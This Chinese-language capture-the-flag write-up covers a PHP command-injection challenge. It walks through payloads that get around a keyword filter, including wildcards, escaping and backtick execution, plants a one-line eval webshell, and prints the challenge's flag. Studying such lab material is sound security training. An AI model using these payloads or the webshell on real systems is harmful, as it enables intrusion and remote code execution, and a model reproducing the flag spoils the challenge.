命令执行,需要严格的过滤
进入 php 代码审计了:
第一题代码很简单,就是对 preg_match 绕过,只要提交的参数值不出现 flag 就行
先看一下当前目录下的文件,构造 payload:
?c=system('ls');
可以看到 flag 就在当前目录下,叫 flag.php
直接读取,使用通配符绕过,构造 payload:
?c=system('cat f*');
页面没有回显,因为 php 代码没有高亮显示
查看源代码即可看到 flag
flag:ctfshow{2070d1ff-7f86-401c-981a-9989887557a0}
补充一些其他思路
(1)我们还可以使用 ? 进行匹配,payload:
?c=system('cat fla?.php');
(2)转义绕过,构造 payload:
?c=system('cat fla\g.php');
(3)直接上马
查看当前目录的权限:
ls -ld .
具有写的权限
构造 payload:
?c=system('echo \'<?php @eval($_REQUEST["cmd"]); ?>\' > eval.php');
写入成功,这里还是测了一会儿才弄好,注意对单引号的转义
看一下 eval.php 的内容:
没有问题
直接调用:
/eval.php?cmd=system('cat flag.php');
这里直接调用我们自己写的木马就不用担心过滤的问题了
或者直接上蚁剑看:
虚拟终端:
(4)这个方法是看 wp 的,也算是自己学到了新东西
payload:
?c=echo `nl fl''ag.php`;
这里先介绍下这个反引号的作用:
在 Shell 脚本或命令行中,反引号` ` 和 $() 用于执行命令并获取其输出。
比如我们想执行 ls 命令:
和再去调用 system 效果是一样的,反而看起来更简略。
?c=echo `ls`;
但是这里在题目环境测了下 $() 不行,不知道是不是我用法错了
在终端测测是可以的:
然后再说这道题:
echo `nl fl''ag.php`;
这条命令的作用是输出指定文件的内容,并在每一行前面加上行号。
它的 payload 里用到了两个连续的单引号,在一些系统中,连续的两个单引号会被解释为一个单引号,而不会被视为字符串的结尾,从而使得字符串拼接在一起。因此,"fl''ag.php" 被解释为 "flag.php",从而绕过对文件名的检测。